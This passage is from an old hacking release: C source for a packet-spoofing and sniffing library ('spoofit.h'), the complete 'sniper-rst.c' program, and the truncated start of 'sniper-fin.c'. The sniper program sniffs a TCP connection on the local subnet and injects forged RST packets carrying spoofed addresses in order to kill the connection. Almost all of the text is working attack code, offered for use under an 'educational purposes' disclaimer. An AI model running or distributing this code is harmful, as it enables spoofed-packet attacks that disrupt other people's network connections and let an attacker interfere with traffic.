Claerhout <Coder@reptile.rug.ac.be> *\/ \/* Serious advice, comments, statements, greets, always welcome *\/ \/* flames, moronic 3l33t >\/dev\/null *\/ \/* *\/ \/* Disclaimer - This file is for educational purposes only. I am in *\/ \/* NO way responsible for what you do with this file, *\/ \/* or any damage you or this file causes. *\/ \/* *\/ \/* For whom - People with a little knowledge of TCP\/IP, C source code *\/ \/* and general UNIX. Otherwise, please keep your hands of, *\/ \/* and catch up on those things first. *\/ \/* *\/ \/* Limited to - Linux 1.3.X or higher. *\/ \/* If you know a little about your OS, shouldn't be to hard *\/ \/* to port. *\/ \/* *\/ \/* Important note - You might have noticed I use non standard packet *\/ \/* header struct's. How come?? Because I started like *\/ \/* that on Sniffit because I wanted to do the *\/ \/* bittransforms myself. *\/ \/* Well I got so damned used to them, I keep using them, *\/ \/* they are not very different, and not hard to use, so *\/ \/* you'll easily use my struct's without any problem, *\/ \/* this code and the examples show how to use them. *\/ \/* my apologies for this inconvenience. *\/ \/* *\/ \/* None of this code can be used in commercial software. You are free to *\/ \/* use it in any other non-commercial software (modified or not) as long *\/ \/* as you give me the credits for it. You can spread this include file, *\/ \/* but keep it unmodified. *\/ \/* *\/ \/**************************************************************************\/ \/* *\/ \/* Easiest way to understand this library is to look at the use of it, in *\/ \/* the example progs. *\/ \/* *\/ \/**** Sending packets *****************************************************\/ \/* *\/ \/* int open_sending (void) *\/ \/* Returns a filedescriptor to the sending socket. *\/ \/* close it with close (int filedesc) *\/ \/* *\/ \/* void transmit_TCP (int sp_fd, char *sp_data, *\/ \/* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, *\/ \/* char *sp_source, unsigned short sp_source_port, *\/ \/* char *sp_dest,unsigned short sp_dest_port, *\/ \/* unsigned long sp_seq, unsigned long sp_ack, *\/ \/* unsigned short sp_flags) *\/ \/* fire data away in a TCP packet *\/ \/* sp_fd : raw socket filedesc. *\/ \/* sp_data : IP options (you should do the padding) *\/ \/* TCP options (you should do the padding) *\/ \/* data to be transmitted *\/ \/* (NULL is nothing) *\/ \/* note that all is optional, and IP en TCP options are*\/ \/* not often used. *\/ \/* All data is put after eachother in one buffer. *\/ \/* sp_ipoptlen : length of IP options (in bytes) *\/ \/* sp_tcpoptlen : length of TCP options (in bytes) *\/ \/* sp_datalen : amount of data to be transmitted (bytes) *\/ \/* sp_source : spoofed host that\"sends packet\" *\/ \/* sp_source_port: spoofed port that \"sends packet\" *\/ \/* sp_dest : host that should receive packet *\/ \/* sp_dest_port : port that should receive packet *\/ \/* sp_seq : sequence number of packet *\/ \/* sp_ack : ACK of packet *\/ \/* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) *\/ \/* *\/ \/* void transmit_UDP (int sp_fd, char *sp_data, *\/ \/* int sp_ipoptlen, int sp_datalen, *\/ \/* char *sp_source, unsigned short sp_source_port, *\/ \/* char *sp_dest, unsigned short sp_dest_port) *\/ \/* fire data away in an UDP packet *\/ \/* sp_fd : raw socket filedesc. *\/ \/* sp_data : IP options *\/ \/* data to be transmitted *\/ \/* (NULL if none) *\/ \/* sp_ipoptlen : length of IP options (in bytes) *\/ \/* sp_datalen : amount of data to be transmitted *\/ \/* sp_source : spoofed host that\"sends packet\" *\/ \/* sp_source_port: spoofed port that \"sends packet\" *\/ \/* sp_dest : host that should receive packet *\/ \/* sp_dest_port : port that should receive packet *\/ \/* *\/ \/**** Receiving packets ***************************************************\/ \/* *\/ \/* int open_receiving (char *rc_device, char mode) *\/ \/* Returns fdesc to a receiving socket *\/ \/* (if mode: IO_HANDLE don't call this twice, global var *\/ \/* rc_fd_abc123 is initialised) *\/ \/* rc_device: the device to use e.g. \"eth0\", \"ppp0\" *\/ \/* be sure to change DEV_PREFIX accordingly! *\/ \/* DEV_PREFIX is the length in bytes of the header that *\/ \/* comes with a SOCKET_PACKET due to the network device *\/ \/* mode: 0: normal mode, blocking, (read will wait till packet *\/ \/* comes, mind you, we are in PROMISC mode) *\/ \/* IO_NONBLOCK: non-blocking mode (read will not wait till *\/ \/* usefull for active polling) *\/ \/* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*\/ \/* (IO_HANDLE is not recommended to use, as it should be *\/ \/* modified according to own use, and it works bad on heavy *\/ \/* traffic continuous monitoring. I needed it once, but left it *\/ \/* in to make you able to have a look at Signal handled IO, *\/ \/* personally I would have removed it, but some thought it *\/ \/* doesn't do any harm anyway, so why remove... ) *\/ \/* (I'm not giving any more info on IO_HANDLE as it is not *\/ \/* needed for the example programs, and interested people can *\/ \/* easilythey figure the code out theirselves.) *\/ \/* (Besides IO_HANDLE can only be called ONCE in a program, *\/ \/* other modes multiple times) *\/ \/* *\/ \/* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, *\/ \/* unsigned char *proto) *\/ \/* This waits for a packet (mode default) and puts it in buffer or *\/ \/* returns whether there is a pack or not (IO_NONBLOCK). *\/ \/* It returns the packet length if there is one available, else 0 *\/ \/* *\/ \/* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, *\/ \/* char *wp_source, unsigned short wp_source_port, *\/ \/* char *wp_dest, unsigned short wp_dest_port, *\/ \/* int wp_flags, int wait_time); *\/ \/* wp_fd: a receiving socket (default or IO_NONBLOCK) *\/ \/* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, *\/ \/* ACK, flags, datalen of that packet. For further packet *\/ \/* handling see the examples. *\/ \/* struct sp_wait_packet { *\/ \/* unsigned long seq,ack; *\/ \/* unsigned short flags; *\/ \/* int datalen; *\/ \/* }; *\/ \/* wp_source, wp_source_port : sender of packet *\/ \/* wp_dest, wp_dest_port : receiver of packet *\/ \/* wp_flags: flags that should be present in packet.. (mind you there *\/ \/* could be more present, so check on return) *\/ \/* note: if you don't care about flag, use 0 *\/ \/* wait_time: if not zero, this function will return -1 if no correct *\/ \/* packet has arrived within wait_time secs. *\/ \/* (only works on IO_NONBLOCK socket) *\/ \/* *\/ \/* void set_filter (char *f_source, unsigned short f_source_port, *\/ \/* char *f_dest, unsigned short f_dest_port) *\/ \/* (for use with IO_HANDLE) *\/ \/* Start the program to watch all trafic from source\/port to *\/ \/* dest\/port. This enables the updating of global data. Can *\/ \/* be called multiple times. *\/ \/* *\/ \/* void close_receiving (void) *\/ \/* When opened a IO_HANDLE mode receiving socket close it with *\/ \/* this. *\/ \/* *\/ \/**** Global DATA (IO_HANDLE mode) ****************************************\/ \/* *\/ \/* When accessing global data, copy the values to local vars and then use *\/ \/* them. Reduce access time to a minimum. *\/ \/* Mind you use of this is very limited, if you are a novice on IO, just *\/ \/* ignore it, the other functions are good enough!). If not, rewrite the *\/ \/* handler for your own use... *\/ \/* *\/ \/* sig_atomic_t SP_DATA_BUSY *\/ \/* Put this on NON-ZERO when accesing global data. Incoming *\/ \/* packets will be ignored then, data can not be overwritten. *\/ \/* *\/ \/* unsigned long int CUR_SEQ, CUR_ACK; *\/ \/* Last recorded SEQ and ACK number of the filtered \"stream\". *\/ \/* Before accessing this data set SP_DATA_BUSY non-zero, *\/ \/* afterward set it back to zero. *\/ \/* *\/ \/* unsigned long int CUR_COUNT; *\/ \/* increased everytime other data is updated *\/ \/* *\/ \/* unsigned int CUR_DATALEN; *\/ \/* Length of date in last TCP packet *\/ \/* *\/ \/**************************************************************************\/ #include \"sys\/socket.h\" \/* includes, what would we do without them *\/ #include \"netdb.h\" #include \"stdlib.h\" #include \"unistd.h\" #include \"stdio.h\" #include \"errno.h\" #include \"netinet\/in.h\" #include \"netinet\/ip.h\" #include \"linux\/if.h\" #include \"sys\/ioctl.h\" #include \"sys\/types.h\" #include \"signal.h\" #include \"fcntl.h\" #undef DEBUG #define IP_VERSION 4 \/* keep y'r hands off... *\/ #define MTU 1500 #define IP_HEAD_BASE 20 \/* using fixed lengths to send *\/ #define TCP_HEAD_BASE 20 \/* no options etc... *\/ #define UDP_HEAD_BASE 8 \/* Always fixed *\/ #define IO_HANDLE 1 #define IO_NONBLOCK 2 int DEV_PREFIX = 9999; sig_atomic_t WAIT_PACKET_WAIT_TIME=0; \/**** IO_HANDLE ************************************************************\/ int rc_fd_abc123; sig_atomic_t RC_FILTSET=0; char rc_filter_string[50]; \/* x.x.x.x.p-y.y.y.y.g *\/ sig_atomic_t SP_DATA_BUSY=0; unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0; unsigned int CUR_DATALEN; unsigned short CUR_FLAGS; \/***************************************************************************\/ struct sp_wait_packet { unsigned long seq,ack; unsigned short flags; int datalen; }; \/* Code from Sniffit - BTW my own program.... no copyright violation here *\/ #define URG 32 \/* TCP flags *\/ #define ACK 16 #define PSH 8 #define RST 4 #define SYN 2 #define FIN 1 struct PACKET_info { int len, datalen; unsigned long int seq_nr, ACK_nr; u_char FLAGS; }; struct IP_header \/* The IPheader (without options) *\/ { unsigned char verlen, type; unsigned short length, ID, flag_offset; unsigned char TTL, protocol; unsigned short checksum; unsigned long int source, destination; }; struct TCP_header \/* The TCP header (without options) *\/ { unsigned short source, destination; unsigned long int seq_nr, ACK_nr; unsigned short offset_flag, window, checksum, urgent; }; struct UDP_header \/* The UDP header *\/ { unsigned short source, destination; unsigned short length, checksum; }; struct pseudo_IP_header \/* The pseudo IP header (checksum calc) *\/ { unsigned long int source, destination; char zero_byte, protocol; unsigned short TCP_UDP_len; }; \/* data structure for argument passing *\/ struct sp_data_exchange { int fd; \/* Sh!t from transmit_TCP *\/ char *data; int datalen; char *source; unsigned short source_port; char *dest; unsigned short dest_port; unsigned long seq, ack; unsigned short flags; char *buffer; \/* work buffer *\/ int IP_optlen; \/* IP options length in bytes *\/ int TCP_optlen; \/* TCP options length in bytes *\/ }; \/**************** all functions *******************************************\/ void transmit_TCP (int fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags); void transmit_UDP (int sp_fd, char *sp_data, int ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port); int get_packet (int rc_fd, char *buffer, int *, unsigned char*); int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int); static unsigned long sp_getaddrbyname(char *); int open_sending (void); int open_receiving (char *, char); void close_receiving (void); void sp_send_packet (struct sp_data_exchange *, unsigned char); void sp_fix_TCP_packet (struct sp_data_exchange *); void sp_fix_UDP_packet (struct sp_data_exchange *); void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char); unsigned short in_cksum(unsigned short *, int ); void rc_sigio (int); void set_filter (char *, unsigned short, char *, unsigned short); \/********************* let the games commence ****************************\/ static unsigned long sp_getaddrbyname(char *sp_name) { struct hostent *sp_he; int i; if(isdigit(*sp_name)) return inet_addr(sp_name); for(i=0;i<100;i++) { if(!(sp_he = gethostbyname(sp_name))) {printf(\"WARNING: gethostbyname failure!\\n\"); sleep(1); if(i>=3) \/* always a retry here in this kind of application *\/ printf(\"Coudn't resolv hostname.\"), exit(1); } else break; } return sp_he ? *(long*)*sp_he->h_addr_list : 0; } int open_sending (void) { struct protoent *sp_proto; int sp_fd; int dummy=1; \/* they don't come rawer *\/ if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1) perror(\"Couldn't open Socket.\"), exit(1); #ifdef DEBUG printf(\"Raw socket ready\\n\"); #endif return sp_fd; } void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto) { int sp_status; struct sockaddr_in sp_server; struct hostent *sp_help; int HEAD_BASE; \/* Construction of destination *\/ bzero((char *)&sp_server, sizeof(struct sockaddr)); sp_server.sin_family = AF_INET; sp_server.sin_addr.s_addr = inet_addr(sp->dest); if (sp_server.sin_addr.s_addr == (unsigned int)-1) { \/* if target not in DOT\/number notation *\/ if (!(sp_help=gethostbyname(sp->dest))) fprintf(stderr,\"unknown host %s\\n\", sp->dest), exit(1); bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length); }; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; \/* TCP *\/ case 17: HEAD_BASE = UDP_HEAD_BASE; break; \/* UDP *\/ default: exit(1); break; }; sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0, (struct sockaddr *)&sp_server,sizeof(struct sockaddr)); if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen) { if (sp_status < 0) perror(\"Sendto\"), exit(1); printf(\"hmm... Only transmitted %d of %d bytes.\\n\", sp_status, sp->datalen+HEAD_BASE); }; #ifdef DEBUG printf(\"Packet transmitted...\\n\"); #endif } void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto) { struct IP_header *sp_help_ip; int HEAD_BASE; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; \/* TCP *\/ case 17: HEAD_BASE = UDP_HEAD_BASE; break; \/* UDP *\/ default: exit(1); break; }; sp_help_ip = (struct IP_header *) (sp->buffer); sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)\/4); sp_help_ip->type = 0; sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen); sp_help_ip->ID = htons(12545); \/* TEST *\/ sp_help_ip->flag_offset = 0; sp_help_ip->TTL = 69; sp_help_ip->protocol = proto; sp_help_ip->source = sp_getaddrbyname(sp->source); sp_help_ip->destination = sp_getaddrbyname(sp->dest); sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer), IP_HEAD_BASE+sp->IP_optlen); #ifdef DEBUG printf(\"IP header fixed...\\n\"); #endif } void sp_fix_TCP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct TCP_header *sp_help_tcp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;i<MTU;i++) {sp_pseudo_ip_construct[i]=0;} sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)\/4)<<12) | sp->flags); sp_help_tcp->seq_nr = htonl(sp->seq); sp_help_tcp->ACK_nr = htonl(sp->ack); sp_help_tcp->source = htons(sp->source_port); sp_help_tcp->destination = htons(sp->dest_port); sp_help_tcp->window = htons(0x7c00); \/* dummy for now 'wujx' *\/ sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 6; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen); memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE); sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen); #ifdef DEBUG printf(\"TCP header fixed...\\n\"); #endif } void transmit_TCP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_tcpoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_tcpoptlen); if (sp_datalen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen, sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.seq = sp_seq; sp_struct.ack = sp_ack; sp_struct.flags = sp_flags; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = sp_tcpoptlen; sp_fix_TCP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 6); sp_send_packet(&sp_struct, 6); } void sp_fix_UDP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct UDP_header *sp_help_udp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;i<MTU;i++) {sp_pseudo_ip_construct[i]=0;} sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_udp->source = htons(sp->source_port); sp_help_udp->destination = htons(sp->dest_port); sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE); sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 17; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE); memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE); sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+UDP_HEAD_BASE); #ifdef DEBUG printf(\"UDP header fixed...\\n\"); #endif } void transmit_UDP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_data!=NULL) memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = 0; sp_fix_UDP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 17); sp_send_packet(&sp_struct, 17); } \/* This routine stolen from ping.c -- HAHAHA!*\/ unsigned short in_cksum(unsigned short *addr,int len) { register int nleft = len; register unsigned short *w = addr; register int sum = 0; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } \/************************* Receiving department ****************************\/ int open_receiving (char *rc_device, char mode) { int or_fd; struct sigaction rc_sa; int fcntl_flag; struct ifreq ifinfo; char test; \/* create snoop socket and set interface promisc *\/ if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) perror(\"Couldn't open Socket.\"), exit(1); strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device); if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0) perror(\"Couldn't get flags.\"), exit(1); ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC; if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0) perror(\"Couldn't set flags. (PROMISC)\"), exit(1); if(mode&IO_HANDLE) { \/* install handler *\/ rc_sa.sa_handler=rc_sigio; \/* we don't use signal() *\/ sigemptyset(&rc_sa.sa_mask); \/* because the timing window is *\/ rc_sa.sa_flags=0; \/* too big... *\/ sigaction(SIGIO,&rc_sa,NULL); } if(fcntl(or_fd,F_SETOWN,getpid())<0) perror(\"Couldn't set ownership\"), exit(1); if(mode&IO_HANDLE) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror(\"Couldn't get FLAGS\"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0) perror(\"Couldn't set FLAGS\"), exit(1); rc_fd_abc123=or_fd; } else { if(mode&IO_NONBLOCK) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror(\"Couldn't get FLAGS\"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0) perror(\"Couldn't set FLAGS\"), exit(1); }; }; #ifdef DEBUG printf(\"Reading socket ready\\n\"); #endif return or_fd; } \/* returns 0 when no packet read! *\/ int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto) { char help_buffer[MTU]; int pack_len; struct IP_header *gp_IPhead; pack_len = read(rc_fd,help_buffer,1500); if(pack_len<0) { if(errno==EWOULDBLOCK) {pack_len=0;} else {perror(\"Read error:\"); exit(1);} }; if(pack_len>0) { pack_len -= DEV_PREFIX; memcpy(buffer,help_buffer+DEV_PREFIX,pack_len); gp_IPhead = (struct IP_header *) buffer; if(proto != NULL) *proto = gp_IPhead->protocol; if(TCP_UDP_start != NULL) *TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2; } return pack_len; } void wait_packet_timeout (int sig) { alarm(0); WAIT_PACKET_WAIT_TIME=1; } int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, char *wp_source, unsigned short wp_source_port, char *wp_dest, unsigned short wp_dest_port, int wp_flags, int wait_time) { char wp_buffer[1500]; struct IP_header *wp_iphead; struct TCP_header *wp_tcphead; unsigned long wp_sourcel, wp_destl; int wp_tcpstart; char wp_proto; wp_sourcel=sp_getaddrbyname(wp_source); wp_destl=sp_getaddrbyname(wp_dest); WAIT_PACKET_WAIT_TIME=0; if(wait_time!=0) { signal(SIGALRM,wait_packet_timeout); alarm(wait_time); } while(1) { while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0) { if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;} }; if(wp_proto == 6) { wp_iphead= (struct IP_header *) wp_buffer; wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart); if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) ) { if( (ntohs(wp_tcphead->source)==wp_source_port) && (ntohs(wp_tcphead->destination)==wp_dest_port) ) { if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) ) { ret_values->seq=ntohl(wp_tcphead->seq_nr); ret_values->ack=ntohl(wp_tcphead->ACK_nr); ret_values->flags=ntohs(wp_tcphead->offset_flag)& (URG|ACK|PSH|FIN|RST|SYN); ret_values->datalen = ntohs(wp_iphead->length) - ((wp_iphead->verlen & 0xF) << 2) - ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10); alarm(0); return 0; } } } } } \/*impossible to get here.. but anyways*\/ alarm(0); return -1; } void close_receiving (void) { close(rc_fd_abc123); } void rc_sigio (int sig) \/* Packet handling routine *\/ { char rc_buffer[1500]; char packet_id [50]; unsigned char *rc_so, *rc_dest; struct IP_header *rc_IPhead; struct TCP_header *rc_TCPhead; int pack_len; if(RC_FILTSET==0) return; if(SP_DATA_BUSY!=0) \/* skip this packet *\/ return; pack_len = read(rc_fd_abc123,rc_buffer,1500); rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX); if(rc_IPhead->protocol!=6) return; \/* if not TCP *\/ rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2)); rc_so = (unsigned char *) &(rc_IPhead->source); rc_dest = (unsigned char *) &(rc_IPhead->destination); sprintf(packet_id,\"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u\", rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source), rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination)); if(strcmp(packet_id,rc_filter_string)==0) { SP_DATA_BUSY=1; CUR_SEQ = ntohl(rc_TCPhead->seq_nr); CUR_ACK = ntohl(rc_TCPhead->ACK_nr); CUR_FLAGS = ntohs(rc_TCPhead->offset_flag); CUR_DATALEN = ntohs(rc_IPhead->length) - ((rc_IPhead->verlen & 0xF) << 2) - ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10); CUR_COUNT++; SP_DATA_BUSY=0; } } void set_filter (char *f_source, unsigned short f_source_port, char *f_dest, unsigned short f_dest_port) { unsigned char *f_so, *f_des; unsigned long f_sol, f_destl; RC_FILTSET=0; if(DEV_PREFIX==9999) fprintf(stderr,\"DEV_PREFIX not set!\\n\"), exit(1); f_sol = sp_getaddrbyname(f_source); f_destl = sp_getaddrbyname(f_dest); f_so = (unsigned char *) &f_sol; f_des = (unsigned char *) &f_destl; sprintf(rc_filter_string,\"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u\", f_so[0],f_so[1],f_so[2],f_so[3],f_source_port, f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port); RC_FILTSET=1; } ------------------------------------------------------------------------------ ---=[ sniper-rst.c ]=--------------------------------------------------------- \/**************************************************************************\/ \/* Sniper-rst - Example program on connection killing with IP spoofing *\/ \/* Using the RST flag. *\/ \/* (illustration for 'A short overview of IP spoofing') *\/ \/* *\/ \/* Purpose - Killing any TCP connection on your subnet *\/ \/* *\/ \/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> *\/ \/* Serious advice, comments, statements, greets, always welcome *\/ \/* flames, moronic 3l33t >\/dev\/null *\/ \/* *\/ \/* Disclaimer - This program is for educational purposes only. I am in *\/ \/* NO way responsible for what you do with this program, *\/ \/* or any damage you or this program causes. *\/ \/* *\/ \/* For whom - People with a little knowledge of TCP\/IP, C source code *\/ \/* and general UNIX. Otherwise, please keep your hands of, *\/ \/* and catch up on those things first. *\/ \/* *\/ \/* Limited to - Linux 1.3.X or higher. *\/ \/* ETHERNET support (\"eth0\" device) *\/ \/* If you network configuration differs it shouldn't be to *\/ \/* hard to modify yourself. I got it working on PPP too, *\/ \/* but I'm not including extra configuration possibilities *\/ \/* because this would overload this first release that is *\/ \/* only a demonstration of the mechanism. *\/ \/* Anyway if you only have ONE network device (slip, *\/ \/* ppp,... ) after a quick look at this code and spoofit.h *\/ \/* it will only take you a few secs to fix it... *\/ \/* People with a bit of C knowledge and well known with *\/ \/* their OS shouldn't have to much trouble to port the code.*\/ \/* If you do, I would love to get the results. *\/ \/* *\/ \/* Compiling - gcc -o sniper-rst sniper-rst.c *\/ \/* *\/ \/* Usage - Usage described in the spoofing article that came with this. *\/ \/* If you didn't get this, try to get the full release... *\/ \/* *\/ \/* See also - Sniffit (for getting the necessairy data on a connection) *\/ \/**************************************************************************\/ #include \"spoofit.h\" \/* Those 2 'defines' are important for putting the receiving device in *\/ \/* PROMISCUOUS mode *\/ #define INTERFACE \"eth0\" #define INTERFACE_PREFIX 14 char SOURCE[100],DEST[100]; int SOURCE_P,DEST_P; void main(int argc, char *argv[]) { int i,stat,j; int fd_send, fd_receive; unsigned long sp_ack, sp_seq; unsigned short flags; struct sp_wait_packet pinfo; if(argc != 5) { printf(\"usage: %s host1 port1 host2 port2\\n\",argv[0]); exit(0); } \/* preparing some work *\/ DEV_PREFIX = INTERFACE_PREFIX; strcpy(SOURCE,argv[1]); SOURCE_P=atoi(argv[2]); strcpy(DEST,argv[3]); DEST_P=atoi(argv[4]); \/* opening sending and receiving sockets *\/ fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); \/* nonblocking IO *\/ printf(\"Trying to terminate the connection\\n\"); for(i=1;i<=100;i++) { \/* Waiting for a packet containing an ACK *\/ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5); if(stat==-1) {printf(\"Connection 5 secs idle or dead...\\n\");exit(1);} sp_seq=pinfo.ack; sp_ack=0; j=0; \/* Sending our fake Packet *\/ \/* for(j=0;j<10;j++) This would be better *\/ \/* { *\/ transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P, sp_seq+j,sp_ack,RST); \/* } *\/ \/* waiting for confirmation *\/ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5); if(stat<0) { printf(\"Connection 5 secs idle or dead...\\n\"); exit(0); } } printf(\"I did not succeed in killing it.\\n\"); } ------------------------------------------------------------------------------ ---=[ sniper-fin.c ]=--------------------------------------------------------- \/**************************************************************************\/ \/* Sniper-fin - Example program on connection killing with IP spoofing *\/ \/* using the FIN flag. *\/ \/* (illustration for 'A short overview of IP spoofing') *\/ \/* *\/ \/* Purpose - Killing any TCP connection on your subnet *\/ \/* *\/ \/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> *\/ \/* Serious advice, comments, statements, greets, always welcome *\/ \/* flames, moronic 3l33t >\/dev\/null *\/ \/* *\/ \/* Disclaimer - This program is for educational purposes only. I am in *\/ \/* NO way responsible for what you do with this program, *\/ \/* or any damage you or this program causes. *\/ \/* *\/ \/* For whom - People with a little knowledge of TCP\/IP, C source code *\/ \/* and general UNIX. Otherwise, please keep your hands of, *\/ \/* and catch up on those things first. *\/ \/* *\/ \/* Limited to - Linux 1.3.X or higher. *\/ \/* ETHERNET support (\"eth0\" device) *\/ \/* If you network configuration differs it shouldn't be to *\/ \/* hard to modify yourself. I got it working on PPP too, *\/ \/* but I'm not including extra configuration possibilities *\/ \/* because this would overload this first release that is *\/ \/* only a demonstration of the 